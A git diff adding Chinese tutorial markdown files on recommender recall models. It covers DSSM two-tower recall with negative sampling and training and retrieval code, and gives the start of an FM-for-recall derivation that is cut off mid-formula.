+现如今多任务学习在实际的应用场景也十分的常见，主要是因为实际场景中业务复杂，往往有很多的衡量指标，例如点击，评论，收藏，关注，转发等。在多任务学习中，往往会针对不同的任务使用一个独有的tower，然后优化不同任务损失。那么针对双塔模型应该如何构建多任务学习框架呢？
+
+<div align=center>
+    <img src="https://cdn.jsdelivr.net/gh/swallown1/blogimages@main/images/image-20220523113206177.png" style="zoom:60%;"/>
+</div>
+如上图所示，在user侧和item侧分别通过多个通道(DNN结构)为每个任务得到一个user embedding和item embedding，然后针对不同的目标分别计算user 和 item 的相似度，并计算各个目标的损失，最后的优化目标可以是多个任务损失之和，或者使用多任务学习中的动态损失权重。
+
+
+
+这种模型结构，可以针对多目标进行联合建模，通过多任务学习的结构，一方面可以利用不同任务之间的信息共享，为一些稀疏特征提供其他任务中的迁移信息，另一方面可以在召回时，直接使用一个模型得到多个目标预测，解决了多个模型维护困难的问题。也就是说，在线上通过这一个模型就可以同时得到多个指标，例如视频场景，一个模型就可以直接得到点赞，品论，转发等目标的预测值，进而通过这些值计算分数获得最终的Top-K召回结果。
+
+
+
+
+
+## 双塔模型的细节
+
+关于双塔模型，其模型结构相比排序模型来说很简单，没有过于复杂的结构。但除了结构，有一些细节部分容易被忽视，而这些细节部分往往比模型结构更加重要，因此下面主要介绍一下双塔模型中需要主要的一些细节问题。
+
+
+
+### 归一化与温度系数
+
+在[Google的双塔召回模型](https://dl.acm.org/doi/pdf/10.1145/3298689.3346996)中，重点介绍了两个trick，将user和item侧输出的embedding进行归一化以及对于內积值除以温度系数，实验证明这两种方式可以取得十分好的效果。那为什么这两种方法会使得模型的效果更好呢？
+
+- 归一化：对user侧和item侧的输入embedding，进行L2归一化
+
+  ​                                                                                   $$u(x,\theta) \leftarrow = \frac{u(x,\theta)}{||u(x,\theta)||_2}$$
+
+  ​                                                                                   $$v(x,\theta) \leftarrow = \frac{v(x,\theta)}{||v(x,\theta)||_2}$$
+
+- 温度系数：在归一化之后的向量计算內积之后，除以一个固定的超参 $r$ ，论文中命名为温度系数。
+
+  ​                                                                                   $$s(u,v) = \frac{<u(x,\theta), v(x,\theta)>}{r}$$
+
+   那为什么需要进行上述的两个操作呢？
+
+- 归一化的操作主要原因是因为向量点积距离是非度量空间，不满足三角不等式，而归一化的操作使得点击行为转化成了欧式距离。
+
+  首先向量点积是向量对应位相乘并求和，即向量內积。而向量內积**不保序**，例如空间上三个点(A=(10,0),B=(0,10),C=(11,0))，利用向量点积计算的距离 dis(A,B) < dis(A,C)，但是在欧式距离下这是错误的。而归一化的操作则会让向量点积转化为欧式距离，例如 $user_{emb}$ 表示归一化user的embedding， $item_{emb}$ 表示归一化 item 的embedding，那么两者之间的欧式距离 $||user_{emb} - item_{emb}||$ 如下，	可以看出归一化的向量点积已转化成了欧式距离。
+
+  $$||user_{emb} - item_{emb}||=\sqrt{||user_{emb}||^2+||item_{emb}||^2-2<user_{emb},item_{emb}>} = \sqrt{2-2<user_{emb},item_{emb}>}$$
+
+  
+
+  那没啥非要转为欧式距离呢？这是因为ANN一般是通过计算欧式距离进行检索，这样转化成欧式空间，保证训练和检索一致。
+
+
+
+
+
+### 模型的应用
+
+在实际的工业应用场景中，分为离线训练和在线服务两个环节。
+
+- 在离线训练阶段，同过训练数据，训练好模型参数。然后将候选库中所有的item集合离线计算得到对应的embedding，并存储进ANN检索系统，比如faiss。为什么将离线计算item集合，主要是因为item的会相对稳定，不会频繁的变动，而对于用户而言，如果将用户行为作为user侧的输入，那么user的embedding会随着用户行为的发生而不断变化，因此对于user侧的embedding需要实时的计算。
+- 在线服务阶段，正是因为用户的行为变化需要被即使的反应在用户的embedding中，以更快的反应用户当前的兴趣，即可以实时地体现用户即时兴趣的变化。因此在线服务阶段需要实时的通过拼接用户特征，输入到user侧的DNN当中，进而得到user embedding，在通过user embedding去 faiss中进行ANN检索，召回最相似的K个item embedding。
+
+可以看到双塔模型结构十分的适合实际的应用场景，在快速服务的同时，还可以更快的反应用户即时兴趣的变化。
+
+
+
+### 负样本采样
+
+相比于排序模型而言，召回阶段的模型除了在结构上的不同，在样本选择方面也存在着很大的差异，可以说样本的选择很大程度上会影响召回模型的效果。对于召回模型而言，其负样本并不能和排序模型一样只使用展现未点击样本，因为召回模型在线上面临的数据分布是全部的item，而不仅仅是展现未点击样本。因此在离线训练时，需要让其保证和线上分布尽可能一致，所以在负样本的选择样要尽可能的增加很多未被曝光的item。下面简单的介绍一些常见的采样方法：
+
+#### 全局随机采样
+
+全局随机采样指：从全局候选item里面随机抽取一定数量item做为召回模型的负样本。这样的方式实现简单，也可以让模型尽可能的和线上保持一致的分布，尽可能的多的让模型对于全局item有区分的能力。例如YoutubeDNN算法。
+
+但这样的方式也会存在一定的问题，由于候选的item属于长尾数据，即“八二定律”，也就是说少数热门物料占据了绝大多数的曝光与点击。因此存随机的方式只能让模型在学到粗粒度上差异，对一些尾部item并不友好。
+
+
+
+#### 全局随机采样 + 热门打压
+
+针对于全局随机采样的不足，一个直观的方法是针对于item的热度item进行打压，即对于热门的item很多用户可能会点击，需要进行一定程度的欠采样，使得模型更加关注一些非热门的item。  此外在进行负样本采样时，应该对一些热门item进行适当的过采样，这可以尽可能的让模型对于负样本有更加细粒度的区分。例如在word2vec中，负采样方法是根据word的频率，对 negative words进行随机抽样，降 低 negative words 量级。
+
+之所以热门item做负样本时，要适当过采样，增加负样本难度。因为对于全量的item，模型可以轻易的区分一些和用户兴趣差异性很大的item，难点在于很难区分一些和用户兴趣相似的item。因此在训练模型时，需要适当的增加一些难以区分的负样本来提升模型面对相似item的分区能力。
+
+
+
+
+#### Hard Negative增强样本
+
+Hard Negative指的是选取一部分匹配度适中的item，能够增加模型在训练时的难度，提升模型能学习到item之间细粒度上的差异。至于 如何选取在工业界也有很多的解决方案。
+
+例如Airbnb根据业务逻辑来采样一些hard negative （增加与正样本同城的房间作为负样本，增强了正负样本在地域上的相似性；增加与正样本同城的房间作为负样本，增强了正负样本在地域上的相似性，），详细内容可以查看[原文](https://www.kdd.org/kdd2018/accepted-papers/view/real-time-personalization-using-embeddings-for-search-ranking-at-airbnb)
+
+例如百度和facebook依靠模型自己来挖掘Hard Negative，都是用上一版本的召回模型筛选出"没那么相似"的<user,item>对，作为额外负样本，用于训练下一版本召回模型。 详细可以查看[Mobius](http://research.baidu.com/Public/uploads/5d12eca098d40.pdf) 和 [EBR](https://arxiv.org/pdf/2006.11632.pdf)
+
+
+
+#### Batch内随机选择负采样
+
+基于batch的负采样方法是将batch内选择除了正样本之外的其它Item，做为负样本，其本质就是利用其他样本的正样本随机采样作为自己的负样本。这样的方法可以作为负样本的选择方式，特别是在如今分布式训练以及增量训练的场景中是一个非常值得一试的方法。但这种方法也存在他的问题，基于batch的负采样方法受batch的影响很大，当batch的分布与整体的分布差异很大时就会出现问题，同时batch内负采样也会受到热门item的影响，需要考虑打压热门item的问题。至于解决的办法，Google的双塔召回模型中给出了答案，想了解的同学可以去学习一下。
+
+
+
+总的来说负样本的采样方法，不光是双塔模型应该重视的工作，而是所有召回模型都应该仔细考虑的方法。
+
+
+
+## 代码实现
+
+下面使用一点资讯提供的数据，实践一下DSSM召回模型。该模型的实现主要参考：DeepCtr和DeepMatch模块。
+
+### 模型训练数据
+
+1、数据预处理
+   用户侧主要包含一些用户画像属性（用户性别，年龄，所在省市，使用设备及系统）；新闻侧主要包括新闻的创建时间，题目，所属 一级、二级类别，题片个数以及关键词。下面主要是对着两部分数据的简单处理：
+
+   ```python
+def proccess(file):
+    if file=="user_info_data_5w.csv":
+        data = pd.read_csv(file_path + file, sep="\t",index_col=0)
+        data["age"] = data["age"].map(lambda x: get_pro_age(x))
+        data["gender"] = data["gender"].map(lambda x: get_pro_age(x))
+
+        data["province"]=data["province"].fillna(method='ffill')
+        data["city"]=data["city"].fillna(method='ffill')
+
+        data["device"] = data["device"].fillna(method='ffill')
+        data["os"] = data["os"].fillna(method='ffill')
+        return data
+
+    elif file=="doc_info.txt":
+        data = pd.read_csv(file_path + file, sep="\t")
+        data.columns = ["article_id", "title", "ctime", "img_num","cate","sub_cate", "key_words"]
+        select_column = ["article_id", "title_len", "ctime", "img_num","cate","sub_cate", "key_words"]
+
+        # 去除时间为nan的新闻以及除脏数据
+        data= data[(data["ctime"].notna()) & (data["ctime"] != 'Android')]
+        data['ctime'] = data['ctime'].astype('str')
+        data['ctime'] = data['ctime'].apply(lambda x: int(x[:10]))
+        data['ctime'] = pd.to_datetime(data['ctime'], unit='s', errors='coerce')
+
+
+        # 这里存在nan字符串和异常数据
+        data["sub_cate"] = data["sub_cate"].astype(str)
+        data["sub_cate"] = data["sub_cate"].apply(lambda x: pro_sub_cate(x))
+        data["img_num"] = data["img_num"].astype(str)
+        data["img_num"] = data["img_num"].apply(photoNums)
+        data["title_len"] = data["title"].apply(lambda x: len(x) if isinstance(x, str) else 0)
+        data["cate"] = data["cate"].fillna('其他')
+
+        return data[select_column]
+   ```
+
+2、构造训练样本
+   该部分主要是根据用户的交互日志中前6天的数据作为训练集，第7天的数据作为测试集，来构造模型的训练测试样本。
+
+   ```python
+def dealsample(file, doc_data, user_data, s_data_str = "2021-06-24 00:00:00", e_data_str="2021-06-30 23:59:59", neg_num=5):
+    # 先处理时间问题
+    data = pd.read_csv(file_path + file, sep="\t",index_col=0)
+    data['expo_time'] = data['expo_time'].astype('str')
+    data['expo_time'] = data['expo_time'].apply(lambda x: int(x[:10]))
+    data['expo_time'] = pd.to_datetime(data['expo_time'], unit='s', errors='coerce')
+
+    s_date = datetime.datetime.strptime(s_data_str,"%Y-%m-%d %H:%M:%S")
+    e_date = datetime.datetime.strptime(e_data_str,"%Y-%m-%d %H:%M:%S") + datetime.timedelta(days=-1)
+    t_date = datetime.datetime.strptime(e_data_str,"%Y-%m-%d %H:%M:%S")
+
+    # 选取训练和测试所需的数据
+    all_data_tmp = data[(data["expo_time"]>=s_date) & (data["expo_time"]<=t_date)]
+
+    # 处理训练数据集  防止穿越样本
+    # 1. merge 新闻信息，得到曝光时间和新闻创建时间； inner join 去除doc_data之外的新闻
+    all_data_tmp = all_data_tmp.join(doc_data.set_index("article_id"),on="article_id",how='inner')
+
+    # 发现还存在 ctime大于expo_time的交互存在  去除这部分错误数据
+    all_data_tmp = all_data_tmp[(all_data_tmp["ctime"]<=all_data_tmp["expo_time"])]
+
+    # 2. 去除与新闻的创建时间在测试数据时间内的交互  ()
+    train_data = all_data_tmp[(all_data_tmp["expo_time"]>=s_date) & (all_data_tmp["expo_time"]<=e_date)]
+    train_data = train_data[(train_data["ctime"]<=e_date)]
+
+    print("有效的样本数：",train_data["expo_time"].count())
+
+    # 负采样
+    if os.path.exists(file_path + "neg_sample.pkl") and os.path.getsize(file_path + "neg_sample.pkl"):
+        neg_samples = pd.read_pickle(file_path + "neg_sample.pkl")
+        # train_neg_samples.insert(loc=2, column="click", value=[0] * train_neg_samples["user_id"].count())
+    else:
+        # 进行负采样的时候对于样本进行限制，只对一定时间范围之内的样本进行负采样
+        doc_data_tmp = doc_data[(doc_data["ctime"]>=datetime.datetime.strptime("2021-06-01 00:00:00","%Y-%m-%d %H:%M:%S"))]
+        neg_samples = negSample_like_word2vec(train_data, doc_data_tmp[["article_id"]].values, user_data[["user_id"]].values, neg_num=neg_num)
+        neg_samples = pd.DataFrame(neg_samples, columns= ["user_id","article_id","click"])
+        neg_samples.to_pickle(file_path + "neg_sample.pkl")
+
+    train_pos_samples = train_data[train_data["click"] == 1][["user_id","article_id", "expo_time", "click"]]    # 取正样本
+
+    neg_samples_df = train_data[train_data["click"] == 0][["user_id","article_id", "click"]]
+    train_neg_samples = pd.concat([neg_samples_df.sample(n=train_pos_samples["click"].count()) ,neg_samples],axis=0)  # 取负样本
+
+    print("训练集正样本数：",train_pos_samples["click"].count())
+    print("训练集负样本数：",train_neg_samples["click"].count())
+
+    train_data_df = pd.concat([train_neg_samples,train_pos_samples],axis=0)
+    train_data_df = train_data_df.sample(frac=1)  # shuffle
+
+    print("训练集总样本数：",train_data_df["click"].count())
+
+    test_data_df =  all_data_tmp[(all_data_tmp["expo_time"]>e_date) & (all_data_tmp["expo_time"]<=t_date)][["user_id","article_id", "expo_time", "click"]]
+
+    print("测试集总样本数：",test_data_df["click"].count())
+    print("测试集总样本数：",test_data_df["click"].count())
+
+    all_data_df =  pd.concat([train_data_df, test_data_df],axis=0)
+
+    print("总样本数：",all_data_df["click"].count())
+
+    return all_data_df
+   ```
+
+3、负样本采样
+   该部分主要采用基于item的展现次数对全局item进行负采样。
+
+   ```python
+   def negSample_like_word2vec(train_data, all_items, all_users, neg_num=10):
+    """
+    为所有item计算一个采样概率，根据概率为每个用户采样neg_num个负样本，返回所有负样本对
+    1. 统计所有item在交互中的出现频次
+    2. 根据频次进行排序，并计算item采样概率（频次出现越多，采样概率越低，打压热门item）
+    3. 根据采样概率，利用多线程为每个用户采样 neg_num 个负样本
+    """
+    pos_samples = train_data[train_data["click"] == 1][["user_id","article_id"]]
+
+    pos_samples_dic = {}
+    for idx,u in enumerate(pos_samples["user_id"].unique().tolist()):
+        pos_list = list(pos_samples[pos_samples["user_id"] == u]["article_id"].unique().tolist())
+        if len(pos_list) >= 30:  # 30是拍的  需要数据统计的支持确定
+            pos_samples_dic[u] = pos_list[30:]
+        else:
+            pos_samples_dic[u] = pos_list
+
+    # 统计出现频次
+    article_counts = train_data["article_id"].value_counts()
+    df_article_counts = pd.DataFrame(article_counts)
+    dic_article_counts = dict(zip(df_article_counts.index.values.tolist(),df_article_counts.article_id.tolist()))
+
+    for item in all_items:
+        if item[0] not in dic_article_counts.keys():
+            dic_article_counts[item[0]] = 0
+
+    # 根据频次排序, 并计算每个item的采样概率
+    tmp = sorted(list(dic_article_counts.items()), key=lambda x:x[1], reverse=True)  # 降序
+    n_articles = len(tmp)
+    article_prob = {}
+    for idx, item in enumerate(tmp):
+        article_prob[item[0]] = cal_pos(idx, n_articles)
+
+    # 为每个用户进行负采样
+    article_id_list = [a[0] for a in article_prob.items()]
+    article_pro_list = [a[1] for a in article_prob.items()]
+    pos_sample_users = list(pos_samples_dic.keys())
+
+    all_users_list = [u[0] for u in all_users]
+
+    print("start negative sampling !!!!!!")
+    pool = multiprocessing.Pool(core_size)
+    res = pool.map(SampleOneProb((pos_sample_users,article_id_list,article_pro_list,pos_samples_dic,neg_num)), tqdm(all_users_list))
+    pool.close()
+    pool.join()
+
+    neg_sample_dic = {}
+    for idx, u in tqdm(enumerate(all_users_list)):
+        neg_sample_dic[u] = res[idx]
+
+    return [[k,i,0] for k,v in neg_sample_dic.items() for i in v]
+   ```
+
+### DSSM 模型
+
+1、模型构建
+
+​	模型构建部分主要是将输入的user 特征以及 item 特征处理完之后分别送入两侧的DNN结构。
+
+```python
+def DSSM(user_feature_columns, item_feature_columns, dnn_units=[64, 32], 
+        temp=10, task='binary'):
+    # 构建所有特征的Input层和Embedding层
+    feature_encode = FeatureEncoder(user_feature_columns + item_feature_columns)
+    feature_input_layers_list = list(feature_encode.feature_input_layer_dict.values())
+
+    # 特征处理
+    user_dnn_input, item_dnn_input = process_feature(user_feature_columns,\
+        item_feature_columns, feature_encode)
+
+    # 构建模型的核心层
+    if len(user_dnn_input) >= 2:
+        user_dnn_input = Concatenate(axis=1)(user_dnn_input)
+    else:
+        user_dnn_input = user_dnn_input[0]
+    if len(item_dnn_input) >= 2:
+        item_dnn_input = Concatenate(axis=1)(item_dnn_input)
+    else:
+        item_dnn_input = item_dnn_input[0]
+    user_dnn_input = Flatten()(user_dnn_input) 
+    item_dnn_input = Flatten()(item_dnn_input)
+    user_dnn_out = DNN(dnn_units)(user_dnn_input)
+    item_dnn_out = DNN(dnn_units)(item_dnn_input)
+
+
+    # 计算相似度
+    scores = CosinSimilarity(temp)([user_dnn_out, item_dnn_out]) # (B,1)
+    # 确定拟合目标
+    output = PredictLayer()(scores)
+    # 根据输入输出构建模型
+    model = Model(feature_input_layers_list, output)
+    return model 
+```
+
+2、CosinSimilarity相似度计算
+
+​	在余弦相似度计算，主要是注意使用归一化以及温度系数的技巧。
+
+```python
+def call(self, inputs, **kwargs):
+    """inputs 是一个列表"""
+    query, candidate = inputs 
+    # 计算两个向量的二范数
+    query_norm = tf.norm(query, axis=self.axis) # (B, 1)
+    candidate_norm = tf.norm(candidate, axis=self.axis)
+    # 计算向量点击，即內积操作
+    scores = tf.reduce_sum(tf.multiply(query, candidate), axis=-1)#(B,1)
+    # 相似度除以二范数, 防止除零
+    scores = tf.divide(scores, query_norm * candidate_norm + 1e-8)
+    # 对score的范围限制到(-1, 1)之间
+    scores = tf.clip_by_value(scores, -1, 1)
+    # 乘以温度系数
+    score = scores * self.temperature 
+    return score 
+```
+
+
+
+### 模型训练
+
+1、稀疏特征编码
+   该部分主要是针对于用户侧和新闻侧的稀疏特征进行编码，并将训练样本join上两侧的特征。
+
+   ```python
+    # 数据和测试数据
+    data, user_data, doc_data = get_all_data()
+
+    # 1.Label Encoding for sparse features,and process sequence features with `gen_date_set` and `gen_model_input`
+    feature_max_idx = {}
+    feature_encoder = {}
+
+    user_sparse_features = ["user_id", "device", "os", "province", "city", "age", "gender"]
+    for feature in user_sparse_features:
+        lbe = LabelEncoder()
+        user_data[feature] = lbe.fit_transform(user_data[feature]) + 1
+        feature_max_idx[feature] = user_data[feature].max() + 1
+        feature_encoder[feature] = lbe
+
+
+    doc_sparse_features = ["article_id", "cate", "sub_cate"]
+    doc_dense_features = ["title_len", "img_num"]
+
+    for feature in doc_sparse_features:
+        lbe = LabelEncoder()
+        if feature in ["cate","sub_cate"]:
+            # 这里面会出现一些float的数据，导致无法编码
+            doc_data[feature] = lbe.fit_transform(doc_data[feature].astype(str)) + 1
+        else:
+            doc_data[feature] = lbe.fit_transform(doc_data[feature]) + 1
+        feature_max_idx[feature] = doc_data[feature].max() + 1
+        feature_encoder[feature] = lbe
+
+    data["article_id"] = feature_encoder["article_id"].transform(data["article_id"].tolist())
+    data["user_id"] = feature_encoder["user_id"].transform(data["user_id"].tolist())
+
+
+    # join 用户侧和新闻侧的特征
+    data = data.join(user_data.set_index("user_id"), on="user_id", how="inner")
+    data = data.join(doc_data.set_index("article_id"), on="article_id", how="inner")
+
+    sparse_features = user_sparse_features + doc_sparse_features
+    dense_features = doc_dense_features
+
+    features = sparse_features + dense_features
+
+    mms = MinMaxScaler(feature_range=(0, 1))
+    data[dense_features] = mms.fit_transform(data[dense_features])
+   ```
+
+2、配置特征以及模型训练
+   构建模型所需的输入特征，同时构建DSSM模型及训练。
+
+   ```python
+embedding_dim = 8
+user_feature_columns = [SparseFeat('user_id', feature_max_idx['user_id'], embedding_dim),
+                        SparseFeat("gender", feature_max_idx['gender'], embedding_dim),
+                        SparseFeat("age", feature_max_idx['age'], embedding_dim),
+                        SparseFeat("device", feature_max_idx['device'], embedding_dim),
+                        SparseFeat("os", feature_max_idx['os'], embedding_dim),
+                        SparseFeat("province", feature_max_idx['province'], embedding_dim),
+                        SparseFeat("city", feature_max_idx['city'], embedding_dim),  ]
+
+item_feature_columns = [SparseFeat('article_id', feature_max_idx['article_id'], embedding_dim),
+                        DenseFeat('img_num', 1),
+                        DenseFeat('title_len', 1),
+                        SparseFeat('cate', feature_max_idx['cate'], embedding_dim),
+                        SparseFeat('sub_cate', feature_max_idx['sub_cate'], embedding_dim)]
+
+model = DSSM(user_feature_columns, item_feature_columns,
+             user_dnn_hidden_units=(32, 16, embedding_dim), item_dnn_hidden_units=(32, 16, embedding_dim))  # FM(user_feature_columns,item_feature_columns)
+
+model.compile(optimizer="adagrad", loss = "binary_crossentropy", metrics=[tf.keras.metrics.Recall(), tf.keras.metrics.Precision()] ) #
+
+history = model.fit(train_model_input, train_label, batch_size=256, epochs=4, verbose=1, validation_split=0.2, )
+   ```
+
+3、生成embedding用于召回
+   利用训练过的模型获取所有item的embeddings，同时获取所有测试集的user embedding，保存之后用于之后的召回工作。
+
+   ```python
+all_item_model_input = {"article_id": item_profile['article_id'].values,
+                        "img_num": item_profile['img_num'].values,
+                        "title_len": item_profile['title_len'].values,
+                        "cate": item_profile['cate'].values,
+                        "sub_cate": item_profile['sub_cate'].values,}
+
+user_embedding_model = Model(inputs=model.user_input, outputs=model.user_embedding)
+item_embedding_model = Model(inputs=model.item_input, outputs=model.item_embedding)
+
+user_embs = user_embedding_model.predict(test_user_model_input, batch_size=2 ** 12)
+item_embs = item_embedding_model.predict(all_item_model_input, batch_size=2 ** 12)
+
+user_idx_2_rawid, doc_idx_2_rawid = {}, {}
+
+for i in range(len(user_embs)):
+    user_idx_2_rawid[i] = test_user_model_input["user_id"][i]
+
+    for i in range(len(item_embs)):
+        doc_idx_2_rawid[i] = all_item_model_input["article_id"][i]
+
+        # 保存一份
+        pickle.dump((user_embs, user_idx_2_rawid, feature_encoder["user_id"]), open(file_path + 'user_embs.pkl', 'wb'))
+        pickle.dump((item_embs, doc_idx_2_rawid, feature_encoder["article_id"]), open(file_path + 'item_embs.pkl', 'wb'))
+   ```
+
+
+### ANN召回
+
+1、为测试集用户召回
+   通过annoy tree为所有的item构建索引，并通过测试集中所有的user embedding为每个用户召回一定数量的item。
+
+   ```python
+def get_DSSM_recall_res(user_embs, doc_embs, user_idx_2_rawid, doc_idx_2_rawid, topk):
+    """近邻检索，这里用annoy tree"""
+    # 把doc_embs构建成索引树
+    f = user_embs.shape[1]
+    t = AnnoyIndex(f, 'angular')
+    for i, v in enumerate(doc_embs):
+        t.add_item(i, v)
+    t.build(10)
+
+    # 每个用户向量， 返回最近的TopK个item
+    user_recall_items_dict = collections.defaultdict(dict)
+    for i, u in enumerate(user_embs):
+        recall_doc_scores = t.get_nns_by_vector(u, topk, include_distances=True)
+        # recall_doc_scores是(([doc_idx], [scores]))， 这里需要转成原始doc的id
+        raw_doc_scores = list(recall_doc_scores)
+        raw_doc_scores[0] = [doc_idx_2_rawid[i] for i in raw_doc_scores[0]]
+        # 转换成实际用户id
+        user_recall_items_dict[user_idx_2_rawid[i]] = dict(zip(*raw_doc_scores))
+
+    # 默认是分数从小到大排的序， 这里要从大到小
+    user_recall_items_dict = {k: sorted(v.items(), key=lambda x: x[1], reverse=True) for k, v in user_recall_items_dict.items()}
+
+    pickle.dump(user_recall_items_dict, open(file_path + 'DSSM_u2i_dict.pkl', 'wb'))
+
+    return user_recall_items_dict
+   ```
+
+2、测试召回结果
+   为测试集用户的召回结果进行测试。
+
+   ```python
+user_recall_items_dict = get_DSSM_recall_res(user_embs, item_embs, user_idx_2_rawid, doc_idx_2_rawid, topk=TOP_NUM)
+
+test_true_items = {line[0]:line[1] for line in test_set}
+
+s = []
+precision = []
+for i, uid in tqdm(enumerate(list(user_recall_items_dict.keys()))):
+    # try:
+    pred = [x for x, _ in user_recall_items_dict[uid]]
+    filter_item = None
+    recall_score = recall_N(test_true_items[uid], pred, N=TOP_NUM)
+    s.append(recall_score)
+    precision_score = precision_N(test_true_items[uid], pred, N=TOP_NUM)
+    precision.append(precision_score)
+    print("recall", np.mean(s))
+    print("precision", np.mean(precision))
+   ```
+
+
+
+
+
+## 参考
+
+- [负样本为王：评Facebook的向量化召回算法](https://zhuanlan.zhihu.com/p/165064102)
+
+- [多目标DSSM召回实战](https://mp.weixin.qq.com/s/aorZ43WozKrD2AudR6AnOg)
+
+- [召回模型中的负样本构造](https://zhuanlan.zhihu.com/p/358450850)
+
+- [Youtube双塔模型](https://dl.acm.org/doi/10.1145/3298689.3346996)
+
+- [张俊林：SENet双塔模型：在推荐领域召回粗排的应用及其它](https://zhuanlan.zhihu.com/p/358779957)
+
+- [双塔召回模型的前世今生（上篇）](https://zhuanlan.zhihu.com/p/430503952)
+
+- [双塔召回模型的前世今生（下篇）](https://zhuanlan.zhihu.com/p/441597009)
+
+- [Learning Deep Structured Semantic Models for Web Search using Clickthrough Data](https://www.microsoft.com/en-us/research/wp-content/uploads/2016/02/cikm2013_DSSM_fullversion.pdf)
+
+  
+
+  
+
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.1/ch2.1.2/FM.md b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.1/ch2.1.2/FM.md
new file mode 100644
index 0000000..2f74ac7
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.1/ch2.1.2/FM.md
@@ -0,0 +1,124 @@
+# FM 模型结构
+
+FM 模型用于排序时，模型的公式定义如下：
+$$
+\hat{y}(\mathbf{x}):=w_{0}+\sum_{i=1}^{n} w_{i} x_{i}+\sum_{i=1}^{n} \sum_{j=i+1}^{n}\left\langle\mathbf{v}_{i}, \mathbf{v}_{j}\right\rangle x_{i} x_{j}
+$$
++ 其中，$i$ 表示特征的序号，$n$ 表示特征的数量；$x_i \in \mathbb{R}$ 表示第 $i$ 个特征的值。
++ $v_i,v_j \in \mathbb{R}^{k} $ 分别表示特征 $x_i,x_j$ 对应的隐语义向量（Embedding向量）， $\left\langle\mathbf{v}_{i}, \mathbf{v}_{j}\right\rangle:=\sum_{f=1}^{k} v_{i, f} \cdot v_{j, f}$ 。
++ $w_0,w_i\in \mathbb{R}$ 均表示需要学习的参数。
+
+**FM 的一阶特征交互** 
+
+在 FM 的表达式中，前两项为特征的一阶交互项。将其拆分为用户特征和物品特征的一阶特征交互项，如下：
+$$
+\begin{aligned}
+& w_{0}+\sum_{i=1}^{n} w_{i} x_{i} \\
+&= w_{0} + \sum_{t \in I}w_{t} x_{t} + \sum_{u\in U}w_{u} x_{u} \\
+\end{aligned}
+$$
+
++ 其中，$U$ 表示用户相关特征集合，$I$ 表示物品相关特征集合。
+
+**FM 的二阶特征交互**
+
+观察 FM 的二阶特征交互项，可知其计算复杂度为 $O\left(k n^{2}\right)$ 。为了降低计算复杂度，按照如下公式进行变换。
+$$
+\begin{aligned}
+& \sum_{i=1}^{n} \sum_{j=i+1}^{n}\left\langle\mathbf{v}_{i}, \mathbf{v}_{j}\right\rangle x_{i} x_{j} \\
+=& \frac{1}{2} \sum_{i=1}^{n} \sum_{j=1}^{n}\left\langle\mathbf{v}_{i}, \mathbf{v}_{j}\right\rangle x_{i} x_{j}-\frac{1}{2} \sum_{i=1}^{n}\left\langle\mathbf{v}_{i}, \mathbf{v}_{i}\right\rangle x_{i} x_{i} \\
+=& \frac{1}{2}\left(\sum_{i=1}^{n} \sum_{j=1}^{n} \sum_{f=1}^{k} v_{i, f} v_{j, f} x_{i} x_{j}-\sum_{i=1}^{n} \sum_{f=1}^{k} v_{i, f} v_{i, f} x_{i} x_{i}\right) \\
+=& \frac{1}{2} \sum_{f=1}^{k}\left(\left(\sum_{i=1}^{n} v_{i, f} x_{i}\right)^{}\left(\sum_{j=1}^{n} v_{j, f} x_{j}\right)-\sum_{i=1}^{n} v_{i, f}^{2} x_{i}^{2}\right) \\
+=& \frac{1}{2} \sum_{f=1}^{k}\left(\left(\sum_{i=1}^{n} v_{i, f} x_{i}\right)^{2}-\sum_{i=1}^{n} v_{i, f}^{2} x_{i}^{2}\right)
+\end{aligned}
+$$
++ 公式变换后，计算复杂度由 $O\left(k n^{2}\right)$ 降到 $O\left(k n\right)$。
+
+由于本文章需要将 FM 模型用在召回，故将二阶特征交互项拆分为用户和物品项。有：
+$$
+\begin{aligned}
+& \frac{1}{2} \sum_{f=1}^{k}\left(\left(\sum_{i=1}^{n} v_{i, f} x_{i}\right)^{2}-\sum_{i=1}^{n} v_{i, f}^{2} x_{i}^{2}\right) \\
+=& \frac{1}{2} \sum_{f=1}^{k}\left(\left(\sum_{u \in U} v_{u, f} x_{u} + \sum_{t \in I} v_{t, f} x_{t}\right)^{2}-\sum_{u \in U} v_{u, f}^{2} x_{u}^{2} - \sum_{t\in I} v_{t, f}^{2} x_{t}^{2}\right) \\
+=& \frac{1}{2} \sum_{f=1}^{k}\left(\left(\sum_{u \in U} v_{u, f} x_{u}\right)^{2} + \left(\sum_{t \in I} v_{t, f} x_{t}\right)^{2} + 2{\sum_{u \in U} v_{u, f} x_{u}}{\sum_{t \in I} v_{t, f} x_{t}} - \sum_{u \in U} v_{u, f}^{2} x_{u}^{2} - \sum_{t \in I} v_{t, f}^{2} x_{t}^{2}\right)  
+\end{aligned}
+$$
+
++ 其中，$U$ 表示用户相关特征集合，$I$ 表示物品相关特征集合。
+
+
+
+# FM 用于召回
+
+基于 FM 召回，我们可以将 $\hat{y}(\mathbf{x}):=w_{0}+\sum_{i=1}^{n} w_{i} x_{i}+\sum_{i=1}^{n} \sum_{j=i+1}^{n}\left\langle\mathbf{v}_{i}, \mathbf{v}_{j}\right\rangle x_{i} x_{j}$ 作为用户和物品之间的匹配分。
+
++ 在上一小节中，对于 FM 的一阶、二阶特征交互项，已将其拆分为用户项和物品项。
++ 对于同一用户，即便其与不同物品进行交互，但用户特征内部之间的一阶、二阶交互项得分都是相同的。
++ 这就意味着，在比较用户与不同物品之间的匹配分时，只需要比较：（1）物品内部之间的特征交互得分；（2）用户和物品之间的特征交互得分。
+
+**FM 的一阶特征交互** 
+
++ 将全局偏置和用户一阶特征交互项进行丢弃，有：
+  $$
+  FM_{一阶} = \sum_{t \in I} w_{t} x_{t}
+  $$
+
+**FM 的二阶特征交互**
+
++ 将用户特征内部的特征交互项进行丢弃，有：
+  $$
+  \begin{aligned}
+  & FM_{二阶} = \frac{1}{2} \sum_{f=1}^{k}\left(\left(\sum_{t \in I} v_{t, f} x_{t}\right)^{2} + 2{\sum_{u \in U} v_{u, f} x_{u}}{\sum_{t \in I} v_{t, f} x_{t}} - \sum_{t \in I} v_{t, f}^{2} x_{t}^{2}\right)  \\
